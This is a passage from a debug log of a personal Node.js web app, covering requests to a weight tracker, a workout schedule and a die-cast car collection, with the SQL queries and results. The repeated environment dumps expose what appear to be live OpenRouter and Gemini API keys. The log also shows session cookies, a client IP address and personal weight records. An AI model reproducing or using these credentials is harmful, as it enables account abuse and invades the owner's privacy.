    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-05T07:13:28.308Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/weight-trackor',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/weight-trackor',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/weight-trackor',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T11:57:03.383Z server-connect:router Serving serverConnect /api/health/get-weight-log
2026-02-04T11:57:03.383Z server-connect:app Executing action step identify
2026-02-04T11:57:03.383Z server-connect:app options: { provider: 'security' }
2026-02-04T11:57:03.383Z server-connect:output identity: 1
2026-02-04T11:57:03.383Z server-connect:app Executing action step restrict
2026-02-04T11:57:03.383Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:57:03.384Z server-connect:output restrict: undefined
2026-02-04T11:57:03.384Z server-connect:app Executing action step custom
2026-02-04T11:57:03.384Z server-connect:app options: {
  connection: 'db',
  sql: {
    query: 'SELECT DATE(`date`) AS date, `weight`\n' +
      'FROM `health_weight_trackor`\n' +
      'ORDER BY `date` DESC\n' +
      'LIMIT 30;',
    params: []
  }
}
2026-02-04T11:57:03.384Z server-connect:output list: [
  { date: 2026-01-23T18:30:00.000Z, weight: '68.40' },
  { date: 2026-01-21T18:30:00.000Z, weight: '68.90' },
  { date: 2026-01-15T18:30:00.000Z, weight: '69.60' },
  { date: 2026-01-14T18:30:00.000Z, weight: '70.00' },
  { date: 2026-01-13T18:30:00.000Z, weight: '70.50' },
  { date: 2026-01-10T18:30:00.000Z, weight: '69.30' },
  { date: 2026-01-09T18:30:00.000Z, weight: '69.60' },
  { date: 2026-01-05T18:30:00.000Z, weight: '69.40' },
  { date: 2026-01-03T18:30:00.000Z, weight: '69.60' },
  { date: 2026-01-01T18:30:00.000Z, weight: '69.60' },
  { date: 2025-12-30T18:30:00.000Z, weight: '70.00' },
  { date: 2025-12-25T18:30:00.000Z, weight: '69.30' },
  { date: 2025-12-24T18:30:00.000Z, weight: '69.60' },
  { date: 2025-12-23T18:30:00.000Z, weight: '69.70' },
  { date: 2025-12-21T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-20T18:30:00.000Z, weight: '69.80' },
  { date: 2025-12-19T18:30:00.000Z, weight: '69.95' },
  { date: 2025-12-18T18:30:00.000Z, weight: '70.50' },
  { date: 2025-12-17T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-16T18:30:00.000Z, weight: '70.15' },
  { date: 2025-12-15T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-11T18:30:00.000Z, weight: '70.30' },
  { date: 2025-12-09T18:30:00.000Z, weight: '70.95' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-08T18:30:00.000Z, weight: '71.15' },
  { date: 2025-12-05T18:30:00.000Z, weight: '72.40' },
  { date: 2025-12-04T18:30:00.000Z, weight: '71.20' },
  { date: 2025-12-03T18:30:00.000Z, weight: '71.40' },
  { date: 2025-12-02T18:30:00.000Z, weight: '70.80' },
  { date: 2025-12-01T18:30:00.000Z, weight: '71.40' }
]
2026-02-04T11:57:03.426Z server-connect:app Executing action step identify
2026-02-04T11:57:03.426Z server-connect:app options: { provider: 'security' }
2026-02-04T11:57:03.426Z server-connect:output identity: 1
2026-02-04T11:57:03.815Z server-connect:router Serving templateView /goal
2026-02-04T11:57:03.815Z server-connect:app Executing action step identify
2026-02-04T11:57:03.815Z server-connect:app options: { provider: 'security' }
2026-02-04T11:57:03.815Z server-connect:output identity: 1
2026-02-04T11:57:03.815Z server-connect:app Executing action step restrict
2026-02-04T11:57:03.815Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T11:57:03.816Z server-connect:output restrict: undefined
2026-02-04T11:57:03.816Z server-connect:router Render template goal
2026-02-04T11:57:03.816Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/goal',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-05T07:13:28.308Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/goal',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/goal',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/goal',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T11:57:04.036Z server-connect:router Serving serverConnect /api/health/get-schedule
2026-02-04T11:57:04.036Z server-connect:app Executing action step identify
2026-02-04T11:57:04.036Z server-connect:app options: { provider: 'security' }
2026-02-04T11:57:04.036Z server-connect:output identity: 1
2026-02-04T11:57:04.036Z server-connect:app Executing action step restrict
2026-02-04T11:57:04.036Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:57:04.037Z server-connect:output restrict: undefined
2026-02-04T11:57:04.037Z server-connect:app Executing action step select
2026-02-04T11:57:04.037Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [],
    params: [],
    table: { name: 'workout_schedule' },
    joins: [],
    primary: 'schedule_id',
    query: 'select * from `workout_schedule`'
  }
}
2026-02-04T11:57:04.038Z server-connect:output list: [
  {
    schedule_id: 2,
    schedule_name: 'Lean Fat Loss',
    start_date: '2025-11-30T18:30:00.000Z',
    end_date: '2025-12-30T18:30:00.000Z',
    days: 6,
    created_on: '2025-04-20T09:05:58.000Z',
    created_by: 1,
    updated_on: '2025-04-20T09:13:32.000Z',
    updated_by: null,
    status: 'Not Started',
    description: 'this is a test description'
  }
]
2026-02-04T11:57:04.920Z server-connect:router Serving templateView /diecast
2026-02-04T11:57:04.920Z server-connect:app Executing action step identify
2026-02-04T11:57:04.920Z server-connect:app options: { provider: 'security' }
2026-02-04T11:57:04.920Z server-connect:output identity: 1
2026-02-04T11:57:04.920Z server-connect:app Executing action step restrict
2026-02-04T11:57:04.920Z server-connect:app options: {
  provider: 'security',
  permissions: [ 'Active' ],
  loginUrl: '/login',
  forbiddenUrl: '/login'
}
2026-02-04T11:57:04.921Z server-connect:output restrict: undefined
2026-02-04T11:57:04.921Z server-connect:router Render template diecast
2026-02-04T11:57:04.921Z server-connect:router Template data: {
  '$value': undefined,
  '$_ERROR': null,
  '$_ENV': {
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    CL_VIRTUAL_ENV: '/home/tocyxovu/nodevenv/ems/22',
    LSNODE_STARTUP_FILE: 'index.js',
    BKP_NODE_PATH: '',
    CL_APP_ROOT: 'ems',
    NODE_PATH: '/home/tocyxovu/nodevenv/ems/22/lib/node_modules:/opt/alt/alt-nodejs22/root/lib/node_modules:/opt/alt/alt-nodejs22/root/lib64/node_modules:',
    LSNODE_SOCKET: '/usr/local/lsws/extapp-sock/APVH_ems.sanjaychaurasia.xyz:443:_.sock',
    LSAPI_PPID_NO_CHECK: '1',
    LSAPI_PGRP_MAX_IDLE: '300',
    NODE_ENV: 'development',
    LSNODE_ROOT: '/home/tocyxovu/ems/',
    OPENROUTER_API_KEY: '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',
    BKP_PATH: '/usr/local/bin:/bin:/usr/bin',
    PWD: '/home/tocyxovu/nodevenv/ems/22/bin',
    HOME: '/home/tocyxovu',
    CL_NODEHOME: '/opt/alt/alt-nodejs22/root',
    GEMINI_API_KEY: 'AIzaSyA4zE36yqNwbeRyxb3UsKcEB5XrUybrhs8',
    SHLVL: '0',
    BKP_PS1: '',
    PATH: '/home/tocyxovu/nodevenv/ems/22/bin:/opt/alt/alt-nodejs22/root/usr/bin:/home/tocyxovu/nodevenv/ems/22/lib/bin/:/usr/local/bin:/bin:/usr/bin',
    PS1: '[ems (22)] ',
    DEBUG: 'server-connect:*'
  },
  '$_GET': { fragment: 'true' },
  '$_POST': {},
  '$_PARAM': {},
  '$_HEADER': {
    host: 'ems.sanjaychaurasia.xyz',
    'sec-ch-ua-platform': '"Android"',
    'user-agent': 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    accept: 'text/fragment+html',
    'sec-ch-ua': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'sec-ch-ua-mobile': '?1',
    'sec-fetch-site': 'same-origin',
    'sec-fetch-mode': 'cors',
    'sec-fetch-dest': 'empty',
    referer: 'https://ems.sanjaychaurasia.xyz/diecast',
    'accept-encoding': 'gzip,br',
    'accept-language': 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'if-none-match': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    priority: 'u=1, i',
    cookie: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'x-forwarded-for': '49.43.181.210',
    connection: 'keep-alive',
    'x-forwarded-host': 'ems.sanjaychaurasia.xyz',
    'x-forwarded-proto': 'https'
  },
  '$_COOKIE': {},
  '$_SESSION': Session {
    cookie: {
      path: '/',
      _expires: 2026-02-05T07:13:28.308Z,
      originalMaxAge: 86400000,
      httpOnly: true
    },
    securityId: 1
  },
  '$_SERVER': {
    CONTENT_TYPE: undefined,
    HTTPS: true,
    PATH_INFO: '/diecast',
    QUERY_STRING: 'fragment=true',
    REMOTE_ADDR: '49.43.181.210',
    REQUEST_PROTOCOL: 'https',
    REQUEST_METHOD: 'GET',
    SERVER_NAME: 'ems.sanjaychaurasia.xyz',
    BASE_URL: 'https://ems.sanjaychaurasia.xyz',
    URL: '/diecast',
    HOSTNAME: 's6519.dnspark.in',
    HTTP_HOST: 'ems.sanjaychaurasia.xyz',
    'HTTP_SEC_CH-UA-PLATFORM': '"Android"',
    HTTP_USER_AGENT: 'Mozilla/5.0 (Linux; Android 10; K) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/144.0.0.0 Mobile Safari/537.36',
    HTTP_ACCEPT: 'text/fragment+html',
    'HTTP_SEC_CH-UA': '"Not(A:Brand";v="8", "Chromium";v="144", "Google Chrome";v="144"',
    'HTTP_SEC_CH-UA-MOBILE': '?1',
    'HTTP_SEC_FETCH-SITE': 'same-origin',
    'HTTP_SEC_FETCH-MODE': 'cors',
    'HTTP_SEC_FETCH-DEST': 'empty',
    HTTP_REFERER: 'https://ems.sanjaychaurasia.xyz/diecast',
    HTTP_ACCEPT_ENCODING: 'gzip,br',
    HTTP_ACCEPT_LANGUAGE: 'en-US,en;q=0.9,hi;q=0.8,fr;q=0.7',
    'HTTP_IF_NONE-MATCH': 'W/"556a-fnfY5Edb9IMo9GHgH8J6sRBcm4c"',
    HTTP_PRIORITY: 'u=1, i',
    HTTP_COOKIE: 'security.auth=s%3A8%2By%2FY8p4btblzixaim2biA%3D%3D.WS5wcAoT0tmaqViIDnnDq4G0XIbq0b%2FrM6s2bjm1t3yXGcNQ2CBF9iqjNeWTF47t2RZPMG9t1Bt23MmatEloUJMaa67oNQP%2FOcaKJ%2Fza1CoAaB3ae%2FWrapHALZvfQ26U0FEmlwcKi2EpS69wU1AyyUVIpqV%2BgigQXAN1sDqK838%3D.hoKjJbLkeUdB45mDd88SHpxnvXolLaFaxj6vTNJWPg0; your_r_git.sid=s%3A4yHa_EQIOXPr7JrvZ78y0MJfx3zB_Jzf.aIHnYU4Zs49T0%2F5NCM8EKRyIl5NqgM5UWBSHii1Mcz8',
    'HTTP_X_FORWARDED-FOR': '49.43.181.210',
    HTTP_CONNECTION: 'keep-alive',
    'HTTP_X_FORWARDED-HOST': 'ems.sanjaychaurasia.xyz',
    'HTTP_X_FORWARDED-PROTO': 'https'
  },
  identity: 1
}
2026-02-04T11:57:05.148Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T11:57:05.149Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T11:57:05.150Z server-connect:router Serving serverConnect /api/diecast/list
2026-02-04T11:57:05.150Z server-connect:app Executing action step identify
2026-02-04T11:57:05.150Z server-connect:app options: { provider: 'security' }
2026-02-04T11:57:05.151Z server-connect:output identity: 1
2026-02-04T11:57:05.151Z server-connect:app Executing action step restrict
2026-02-04T11:57:05.151Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:57:05.152Z server-connect:router Serving serverConnect /api/masters/collections/list
2026-02-04T11:57:05.152Z server-connect:app Executing action step identify
2026-02-04T11:57:05.152Z server-connect:app options: { provider: 'security' }
2026-02-04T11:57:05.152Z server-connect:output identity: 1
2026-02-04T11:57:05.152Z server-connect:app Executing action step restrict
2026-02-04T11:57:05.152Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:57:05.153Z server-connect:output restrict: undefined
2026-02-04T11:57:05.153Z server-connect:app Executing action step select
2026-02-04T11:57:05.153Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T11:57:05.153Z server-connect:router Serving serverConnect /api/diecast/get-filters
2026-02-04T11:57:05.154Z server-connect:output restrict: undefined
2026-02-04T11:57:05.154Z server-connect:app Executing action step select
2026-02-04T11:57:05.154Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [ [Object], [Object] ],
    params: [ [Object] ],
    table: { name: 'collections' },
    primary: 'id',
    joins: [],
    wheres: {
      condition: 'AND',
      rules: [Array],
      conditional: null,
      valid: true
    },
    query: 'select `name`, `id` from `collections` where `collections`.`collectiontype_id` = ?'
  }
}
2026-02-04T11:57:05.154Z server-connect:output list: [
  { name: 'Hotwheels', id: 71 },
  { name: 'Majorette', id: 72 },
  { name: 'Matchbox', id: 73 },
  { name: 'Bburago', id: 74 },
  { name: 'Maisto', id: 143 },
  { name: 'CCA', id: 158 },
  { name: 'Jams Toys', id: 191 }
]
2026-02-04T11:57:05.155Z server-connect:app Executing action step identify
2026-02-04T11:57:05.155Z server-connect:app options: { provider: 'security' }
2026-02-04T11:57:05.155Z server-connect:output identity: 1
2026-02-04T11:57:05.155Z server-connect:app Executing action step restrict
2026-02-04T11:57:05.155Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:57:05.155Z server-connect:output list: [
  { name: 'Mainline', id: 75 },
  { name: 'Premium', id: 76 },
  { name: 'Treasure Hunt', id: 77 },
  { name: 'Super Treasure Hunt', id: 78 },
  { name: 'Car Culture', id: 79 },
  { name: 'HW Red Line Club', id: 80 },
  { name: 'Multipack', id: 81 },
  { name: 'Exclusive', id: 82 },
  { name: 'Moving Parts', id: 83 },
  { name: 'Collectors', id: 84 },
  { name: 'Racing Cars', id: 85 },
  { name: 'Vintage', id: 86 },
  { name: 'Deluxe Cars', id: 87 },
  { name: 'Giftpack', id: 88 },
  { name: 'Construction', id: 89 },
  { name: 'Emergency', id: 90 },
  { name: 'Basic', id: 91 },
  { name: 'Fantasy', id: 92 },
  { name: 'Other', id: 93 },
  { name: 'HW Dirt', id: 94 },
  { name: 'HW Race day', id: 95 },
  { name: 'HW Muscle Mania', id: 96 },
  { name: 'HW Hot Trucks', id: 97 },
  { name: 'HW Celebration Racers', id: 98 },
  { name: 'HW 70s vs 90s', id: 99 },
  { name: 'HW Track Champs', id: 100 },
  { name: 'HW Then and now', id: 101 },
  { name: 'HW Wagons', id: 102 },
  { name: 'HW Modified', id: 103 },
  { name: 'HW Wide Widebody', id: 104 },
  { name: 'HW Art Cars', id: 105 },
  { name: 'HW Peak Pursuit', id: 106 },
  { name: 'HW EV', id: 107 },
  { name: 'HW Safari Mode', id: 144 },
  { name: 'HW Factory Fresh', id: 145 },
  { name: 'HW Track Aces', id: 146 },
  { name: 'HW Mustang 60th', id: 147 },
  { name: 'HW Wild Widebody', id: 148 },
  { name: 'HW Compact Kings', id: 149 },
  { name: 'HW Reverse Rake', id: 150 },
  { name: 'HW Rod Squad', id: 151 },
  { name: 'HW Fan Driver', id: 159 },
  { name: "HW Truckin' Along", id: 160 },
  { name: 'HW Batman', id: 161 },
  { name: 'Neon Speeders - Mix 2', id: 162 },
  { name: 'HW Starting Grid', id: 163 },
  { name: 'HW Nightspeed', id: 164 },
  { name: 'HW Metro', id: 165 },
  { name: 'HW Experimotors', id: 166 },
  { name: 'HW Exotics', id: 170 },
  { name: 'Majorette Dream Italy Gift Set', id: 171 },
  { name: 'Majorette Light Racer Gift Set', id: 172 },
  { name: 'Majorette Porsche Edition Gift Set', id: 173 },
  { name: 'Majorette Limited Edition 9 Gift Set', id: 174 },
  { name: 'HW Silver Series', id: 176 },
  { name: 'HW Ride-Ons', id: 178 },
  { name: 'HW Euro', id: 179 },
  { name: 'HW Pantone', id: 180 },
  { name: 'HW Pop Culture', id: 181 },
  { name: 'Majorette Black Edition Gift Set', id: 193 },
  { name: 'Majorette Mercedes AMG Gift Set', id: 194 },
  { name: 'Majorette Castheads Gift Set', id: 195 }
]
2026-02-04T11:57:05.156Z server-connect:app Executing action step identify
2026-02-04T11:57:05.156Z server-connect:app options: { provider: 'security' }
2026-02-04T11:57:05.156Z server-connect:output identity: 1
2026-02-04T11:57:05.156Z server-connect:app Executing action step restrict
2026-02-04T11:57:05.156Z server-connect:app options: { provider: 'security', permissions: [ 'Active' ] }
2026-02-04T11:57:05.156Z server-connect:output restrict: undefined
2026-02-04T11:57:05.156Z server-connect:app Executing action step paged
2026-02-04T11:57:05.156Z server-connect:app options: {
  connection: 'db',
  sql: {
    type: 'SELECT',
    columns: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object]
    ],
    params: [
      [Object], [Object],
      [Object], [Object],
      [Object], [Object],
      [Object], [Object]
    ],
    table: { name: 'diecast_cars' },
    primary: 'id',
    joins: [ [Object], [Object], [Object] ],
    sub: { diecast_images: [Object] },
    query: 'select `diecast_cars`.`id`, `diecast_cars`.`model_name`, `diecast_cars`.`release_year`, `diecast_cars`.`scale`, `diecast_cars`.`has_real_car`, `diecast_cars`.`purchase_date`, `diecast_cars`.`price`, `c1`.`name` as `brand`, `c2`.`name` as `series`, `diecast_cars`.`brand_id`, `diecast_cars`.`series` as `series_id`, `diecast_cars`.`case`, `c3`.`name` as `vehicle_brand_name`, `diecast_cars`.`vehicle_brand_id`, `diecast_cars`.`condition` from `diecast_cars` left join `collections` as `c1` on `c1`.`id` = `diecast_cars`.`brand_id` left join `collections` as `c2` on `c2`.`id` = `diecast_cars`.`series` left join `collections` as `c3` on `c3`.`id` = `diecast_cars`.`vehicle_brand_id` where (`diecast_cars`.`model_name` like ? or `diecast_cars`.`release_year` = ? or `c1`.`name` like ? or `c2`.`name` like ?) and (`diecast_cars`.`brand_id` = ?) and (`diecast_cars`.`series` = ?) and 